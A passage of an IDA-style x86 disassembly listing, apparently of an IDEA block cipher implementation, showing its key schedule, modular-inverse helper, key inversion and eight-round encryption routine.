loc_4D2189 ; --------------------------------------------------------------------------- loc_4D211C: ; CODE XREF: sub_4D1CC4+3EBj ; sub_4D1CC4+3F3j ... mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_4D2144 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_4D2144 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_4D2144 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_4D211C ; --------------------------------------------------------------------------- loc_4D2144: ; CODE XREF: sub_4D1CC4+45Fj ; sub_4D1CC4+46Aj ... mov eax, [ebp+var_38] mov [ebp+var_3C], eax jmp loc_4D1DB9 ; --------------------------------------------------------------------------- loc_4D214F: ; CODE XREF: sub_4D1CC4:loc_4D209Cj jmp short loc_4D2184 ; --------------------------------------------------------------------------- loc_4D2151: ; CODE XREF: sub_4D1CC4+23Bj ; sub_4D1CC4+4B3j mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_4D2179 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_4D2179 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_4D2179 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_4D2151 ; --------------------------------------------------------------------------- loc_4D2179: ; CODE XREF: sub_4D1CC4+494j ; sub_4D1CC4+49Fj ... mov eax, [ebp+var_38] mov [ebp+var_3C], eax jmp loc_4D1DB9 ; --------------------------------------------------------------------------- loc_4D2184: ; CODE XREF: sub_4D1CC4+14Dj ; sub_4D1CC4:loc_4D1EBAj ... jmp loc_4D1DA6 ; --------------------------------------------------------------------------- loc_4D2189: ; CODE XREF: sub_4D1CC4+EFj ; sub_4D1CC4+12Fj ... or [ebp+var_4], 0FFFFFFFFh call sub_4D2194 jmp short loc_4D21B6 sub_4D1CC4 endp ; =============== S U B R O U T I N E ======================================= sub_4D2194 proc near ; CODE XREF: sub_4D1CC4+4C9p ; DATA XREF: _5:004DE400o mov eax, [ebp-34h] mov [ebp-68h], eax push dword ptr [ebp-68h] call sub_4D83DD pop ecx cmp dword ptr [ebp-2Ch], 0FFFFFFFFh jz short locret_4D21B5 lea eax, [ebp-1Ch] push eax push dword ptr [ebp-2Ch] call sub_4D0741 locret_4D21B5: ; CODE XREF: sub_4D2194+13j retn sub_4D2194 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D1CC4 loc_4D21B6: ; CODE XREF: sub_4D1CC4+4CEj mov eax, [ebp+var_44] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4D1CC4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx push dword ptr [ebp-4] push dword ptr [ebp+8] mov ecx, [ebp-4] call sub_4D21F3 mov eax, [ebp-4] add eax, 68h push eax push dword ptr [ebp-4] mov ecx, [ebp-4] call sub_4D229B leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D21F3 proc near ; CODE XREF: _4:004D21D8p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx and [ebp+var_8], 0 jmp short loc_4D2209 ; --------------------------------------------------------------------------- loc_4D2202: ; CODE XREF: sub_4D21F3+40j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4D2209: ; CODE XREF: sub_4D21F3+Dj cmp [ebp+var_8], 8 jge short loc_4D2235 mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] shl eax, 8 mov ecx, [ebp+arg_0] movzx ecx, byte ptr [ecx+1] add eax, ecx mov ecx, [ebp+var_8] mov edx, [ebp+arg_4] mov [edx+ecx*2], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax jmp short loc_4D2202 ; --------------------------------------------------------------------------- loc_4D2235: ; CODE XREF: sub_4D21F3+1Aj and [ebp+var_4], 0 jmp short loc_4D2242 ; --------------------------------------------------------------------------- loc_4D223B: ; CODE XREF: sub_4D21F3+A2j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4D2242: ; CODE XREF: sub_4D21F3+46j cmp [ebp+var_8], 34h jge short locret_4D2297 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, 7 mov ecx, [ebp+arg_4] movzx eax, word ptr [ecx+eax*2] shl eax, 9 mov ecx, [ebp+var_4] inc ecx and ecx, 7 mov edx, [ebp+arg_4] movzx ecx, word ptr [edx+ecx*2] sar ecx, 7 or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov [edx+ecx*2+0Eh], ax mov eax, [ebp+var_4] and eax, 8 mov ecx, [ebp+arg_4] lea eax, [ecx+eax*2] mov [ebp+arg_4], eax mov eax, [ebp+var_4] and eax, 7 mov [ebp+var_4], eax jmp short loc_4D223B ; --------------------------------------------------------------------------- locret_4D2297: ; CODE XREF: sub_4D21F3+53j leave retn 8 sub_4D21F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D229B proc near ; CODE XREF: _4:004D21EAp var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = word ptr -7Ch var_78 = dword ptr -78h var_74 = word ptr -74h var_70 = word ptr -70h var_6C = word ptr -6Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push esi push edi mov [ebp+var_80], ecx lea eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_84], ax push [ebp+var_84] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_4D259C mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_88], ax push [ebp+var_88] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_4D259C mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx and [ebp+var_78], 0 jmp short loc_4D2372 ; --------------------------------------------------------------------------- loc_4D236B: ; CODE XREF: sub_4D229B+1D7j mov eax, [ebp+var_78] inc eax mov [ebp+var_78], eax loc_4D2372: ; CODE XREF: sub_4D229B+CEj cmp [ebp+var_78], 7 jge loc_4D2477 mov eax, [ebp+arg_0] mov ax, [eax] mov [ebp+var_70], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov cx, [ecx] mov [eax], cx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_8C], ax push [ebp+var_8C] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_4D259C mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_90], ax push [ebp+var_90] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_4D259C mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx jmp loc_4D236B ; --------------------------------------------------------------------------- loc_4D2477: ; CODE XREF: sub_4D229B+DBj mov eax, [ebp+arg_0] mov ax, [eax] mov [ebp+var_70], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov cx, [ecx] mov [eax], cx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_94], ax push [ebp+var_94] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_4D259C mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_98], ax push [ebp+var_98] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_4D259C mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx push 1Ah pop ecx lea esi, [ebp+var_6C] mov edi, [ebp+arg_4] rep movsd and [ebp+var_78], 0 jmp short loc_4D2585 ; --------------------------------------------------------------------------- loc_4D257E: ; CODE XREF: sub_4D229B+2F9j mov eax, [ebp+var_78] inc eax mov [ebp+var_78], eax loc_4D2585: ; CODE XREF: sub_4D229B+2E1j cmp [ebp+var_78], 34h jge short loc_4D2596 mov eax, [ebp+var_78] and [ebp+eax*2+var_6C], 0 jmp short loc_4D257E ; --------------------------------------------------------------------------- loc_4D2596: ; CODE XREF: sub_4D229B+2EEj pop edi pop esi leave retn 8 sub_4D229B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D259C proc near ; CODE XREF: sub_4D229B+32p ; sub_4D229B+81p ... var_14 = dword ptr -14h var_10 = word ptr -10h var_C = word ptr -0Ch var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx movzx eax, [ebp+arg_0] cmp eax, 1 jg short loc_4D25B7 mov ax, [ebp+arg_0] jmp locret_4D268F ; --------------------------------------------------------------------------- loc_4D25B7: ; CODE XREF: sub_4D259C+10j movzx ecx, [ebp+arg_0] mov eax, 10001h cdq idiv ecx mov [ebp+var_C], ax movzx ecx, [ebp+arg_0] mov eax, 10001h cdq idiv ecx mov [ebp+var_10], dx movzx eax, [ebp+var_10] cmp eax, 1 jnz short loc_4D25F7 movzx eax, [ebp+var_C] push 1 pop ecx sub ecx, eax and ecx, 0FFFFh mov ax, cx jmp locret_4D268F ; --------------------------------------------------------------------------- loc_4D25F7: ; CODE XREF: sub_4D259C+42j mov [ebp+var_8], 1 loc_4D25FD: ; CODE XREF: sub_4D259C+DFj movzx eax, [ebp+arg_0] movzx ecx, [ebp+var_10] cdq idiv ecx mov [ebp+var_4], ax movzx eax, [ebp+arg_0] movzx ecx, [ebp+var_10] cdq idiv ecx mov [ebp+arg_0], dx movzx eax, [ebp+var_4] movzx ecx, [ebp+var_C] imul eax, ecx mov cx, [ebp+var_8] add cx, ax mov [ebp+var_8], cx movzx eax, [ebp+arg_0] cmp eax, 1 jnz short loc_4D2640 mov ax, [ebp+var_8] jmp short locret_4D268F ; --------------------------------------------------------------------------- loc_4D2640: ; CODE XREF: sub_4D259C+9Cj movzx eax, [ebp+var_10] movzx ecx, [ebp+arg_0] cdq idiv ecx mov [ebp+var_4], ax movzx eax, [ebp+var_10] movzx ecx, [ebp+arg_0] cdq idiv ecx mov [ebp+var_10], dx movzx eax, [ebp+var_4] movzx ecx, [ebp+var_8] imul eax, ecx mov cx, [ebp+var_C] add cx, ax mov [ebp+var_C], cx movzx eax, [ebp+var_10] cmp eax, 1 jnz short loc_4D25FD movzx eax, [ebp+var_C] push 1 pop ecx sub ecx, eax and ecx, 0FFFFh mov ax, cx locret_4D268F: ; CODE XREF: sub_4D259C+16j ; sub_4D259C+56j ... leave retn 4 sub_4D259C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp+8] mov [ebp-4], eax and dword ptr [ebp-8], 0 jmp short loc_4D26AF ; --------------------------------------------------------------------------- loc_4D26A8: ; CODE XREF: _4:004D26D1j mov eax, [ebp-8] inc eax mov [ebp-8], eax loc_4D26AF: ; CODE XREF: _4:004D26A6j mov eax, [ebp-8] cmp eax, [ebp+0Ch] jge short locret_4D26D3 push dword ptr [ebp-0Ch] push dword ptr [ebp-4] push dword ptr [ebp-4] mov ecx, [ebp-0Ch] call sub_4D26D7 mov eax, [ebp-4] add eax, 8 mov [ebp-4], eax jmp short loc_4D26A8 ; --------------------------------------------------------------------------- locret_4D26D3: ; CODE XREF: _4:004D26B5j leave retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D26D7 proc near ; CODE XREF: _4:004D26C3p _4:004D2D36p var_48 = word ptr -48h var_46 = word ptr -46h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = word ptr -38h var_36 = word ptr -36h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = word ptr -2Ch var_28 = word ptr -28h var_24 = dword ptr -24h var_20 = word ptr -20h var_1C = word ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = word ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 48h push ebx mov [ebp+var_30], ecx mov [ebp+var_4], 8 mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_1C], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_20], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_28], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_2C], ax movzx eax, [ebp+var_1C] sar eax, 8 movzx ecx, [ebp+var_1C] shl ecx, 8 or eax, ecx mov [ebp+var_1C], ax movzx eax, [ebp+var_20] sar eax, 8 movzx ecx, [ebp+var_20] shl ecx, 8 or eax, ecx mov [ebp+var_20], ax movzx eax, [ebp+var_28] sar eax, 8 movzx ecx, [ebp+var_28] shl ecx, 8 or eax, ecx mov [ebp+var_28], ax movzx eax, [ebp+var_2C] sar eax, 8 movzx ecx, [ebp+var_2C] shl ecx, 8 or eax, ecx mov [ebp+var_2C], ax loc_4D277E: ; CODE XREF: sub_4D26D7+41Ej mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_4D281D movzx eax, [ebp+var_1C] and eax, 0FFFFh mov [ebp+var_1C], ax movzx eax, [ebp+var_1C] test eax, eax jz short loc_4D27FE movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_1C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_1C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_1C], ax mov ax, [ebp+var_1C] mov [ebp+var_32], ax jmp short loc_4D2813 ; --------------------------------------------------------------------------- loc_4D27FE: ; CODE XREF: sub_4D26D7+D8j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_32], ax loc_4D2813: ; CODE XREF: sub_4D26D7+125j mov ax, [ebp+var_32] mov [ebp+var_34], ax jmp short loc_4D2832 ; --------------------------------------------------------------------------- loc_4D281D: ; CODE XREF: sub_4D26D7+BFj movzx eax, [ebp+var_1C] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_34], ax loc_4D2832: ; CODE XREF: sub_4D26D7+144j mov eax, [ebp+arg_8] mov cx, [ebp+var_20] add cx, [eax] mov [ebp+var_20], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov cx, [ebp+var_28] add cx, [eax] mov [ebp+var_28], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_4D28FD movzx eax, [ebp+var_2C] and eax, 0FFFFh mov [ebp+var_2C], ax movzx eax, [ebp+var_2C] test eax, eax jz short loc_4D28DE movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_2C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_2C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_2C], ax mov ax, [ebp+var_2C] mov [ebp+var_36], ax jmp short loc_4D28F3 ; --------------------------------------------------------------------------- loc_4D28DE: ; CODE XREF: sub_4D26D7+1B8j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_36], ax loc_4D28F3: ; CODE XREF: sub_4D26D7+205j mov ax, [ebp+var_36] mov [ebp+var_38], ax jmp short loc_4D2912 ; --------------------------------------------------------------------------- loc_4D28FD: ; CODE XREF: sub_4D26D7+19Fj movzx eax, [ebp+var_2C] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_38], ax loc_4D2912: ; CODE XREF: sub_4D26D7+224j mov ax, [ebp+var_28] mov [ebp+var_14], ax mov ax, [ebp+var_28] xor ax, [ebp+var_1C] mov [ebp+var_28], ax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_4D29C5 movzx eax, [ebp+var_28] and eax, 0FFFFh mov [ebp+var_28], ax movzx eax, [ebp+var_28] test eax, eax jz short loc_4D29A6 movzx eax, [ebp+var_28] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_28], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_28] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_28] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_28], ax mov ax, [ebp+var_28] mov [ebp+var_3A], ax jmp short loc_4D29BB ; --------------------------------------------------------------------------- loc_4D29A6: ; CODE XREF: sub_4D26D7+280j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_28], cx mov ax, [ebp+var_28] mov [ebp+var_3A], ax loc_4D29BB: ; CODE XREF: sub_4D26D7+2CDj mov ax, [ebp+var_3A] mov [ebp+var_3C], ax jmp short loc_4D29DA ; --------------------------------------------------------------------------- loc_4D29C5: ; CODE XREF: sub_4D26D7+267j movzx eax, [ebp+var_28] push 1 pop ecx sub ecx, eax mov [ebp+var_28], cx mov ax, [ebp+var_28] mov [ebp+var_3C], ax loc_4D29DA: ; CODE XREF: sub_4D26D7+2ECj mov ax, [ebp+var_20] mov [ebp+var_C], ax mov ax, [ebp+var_20] xor ax, [ebp+var_2C] mov [ebp+var_20], ax mov ax, [ebp+var_20] add ax, [ebp+var_28] mov [ebp+var_20], ax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_4D2A99 movzx eax, [ebp+var_20] and eax, 0FFFFh mov [ebp+var_20], ax movzx eax, [ebp+var_20] test eax, eax jz short loc_4D2A7A movzx eax, [ebp+var_20] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_20], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_20] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_20] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_20], ax mov ax, [ebp+var_20] mov [ebp+var_3E], ax jmp short loc_4D2A8F ; --------------------------------------------------------------------------- loc_4D2A7A: ; CODE XREF: sub_4D26D7+354j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_20], cx mov ax, [ebp+var_20] mov [ebp+var_3E], ax loc_4D2A8F: ; CODE XREF: sub_4D26D7+3A1j mov ax, [ebp+var_3E] mov [ebp+var_40], ax jmp short loc_4D2AAE ; --------------------------------------------------------------------------- loc_4D2A99: ; CODE XREF: sub_4D26D7+33Bj movzx eax, [ebp+var_20] push 1 pop ecx sub ecx, eax mov [ebp+var_20], cx mov ax, [ebp+var_20] mov [ebp+var_40], ax loc_4D2AAE: ; CODE XREF: sub_4D26D7+3C0j mov ax, [ebp+var_28] add ax, [ebp+var_20] mov [ebp+var_28], ax mov ax, [ebp+var_1C] xor ax, [ebp+var_20] mov [ebp+var_1C], ax mov ax, [ebp+var_2C] xor ax, [ebp+var_28] mov [ebp+var_2C], ax mov ax, [ebp+var_20] xor ax, [ebp+var_14] mov [ebp+var_20], ax mov ax, [ebp+var_28] xor ax, [ebp+var_C] mov [ebp+var_28], ax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz loc_4D277E mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_4D2B9A movzx eax, [ebp+var_1C] and eax, 0FFFFh mov [ebp+var_1C], ax movzx eax, [ebp+var_1C] test eax, eax jz short loc_4D2B7B movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_1C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_1C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_1C], ax mov ax, [ebp+var_1C] mov [ebp+var_42], ax jmp short loc_4D2B90 ; --------------------------------------------------------------------------- loc_4D2B7B: ; CODE XREF: sub_4D26D7+455j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_42], ax loc_4D2B90: ; CODE XREF: sub_4D26D7+4A2j mov ax, [ebp+var_42] mov [ebp+var_44], ax jmp short loc_4D2BAF ; --------------------------------------------------------------------------- loc_4D2B9A: ; CODE XREF: sub_4D26D7+43Cj movzx eax, [ebp+var_1C] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_44], ax loc_4D2BAF: ; CODE XREF: sub_4D26D7+4C1j mov eax, [ebp+arg_8] mov cx, [ebp+var_28] add cx, [eax] mov [ebp+var_28], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov cx, [ebp+var_20] add cx, [eax] mov [ebp+var_20], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] test eax, eax jz loc_4D2C72 movzx eax, [ebp+var_2C] and eax, 0FFFFh mov [ebp+var_2C], ax movzx eax, [ebp+var_2C] test eax, eax jz short loc_4D2C53 movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_2C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_2C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_2C], ax mov ax, [ebp+var_2C] mov [ebp+var_46], ax jmp short loc_4D2C68 ; --------------------------------------------------------------------------- loc_4D2C53: ; CODE XREF: sub_4D26D7+52Dj movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_46], ax loc_4D2C68: ; CODE XREF: sub_4D26D7+57Aj mov ax, [ebp+var_46] mov [ebp+var_48], ax jmp short loc_4D2C87 ; --------------------------------------------------------------------------- loc_4D2C72: ; CODE XREF: sub_4D26D7+514j movzx eax, [ebp+var_2C] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_48], ax loc_4D2C87: ; CODE XREF: sub_4D26D7+599j mov eax, [ebp+arg_4] mov [ebp+var_8], eax movzx eax, [ebp+var_1C] sar eax, 8 movzx ecx, [ebp+var_1C] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_28] sar eax, 8 movzx ecx, [ebp+var_28] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_20] sar eax, 8 movzx ecx, [ebp+var_20] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_2C] sar eax, 8 movzx ecx, [ebp+var_2C] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax pop ebx leave retn 0Ch sub_4D26D7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp+8] mov [ebp-4], eax and dword ptr [ebp-8], 0 jmp short loc_4D2D1E ; --------------------------------------------------------------------------- loc_4D2D17: ; CODE XREF: _4:004D2D44j mov eax, [ebp-8] inc eax mov [ebp-8], eax loc_4D2D1E: ; CODE XREF: _4:004D2D15j mov eax, [ebp-8] cmp eax, 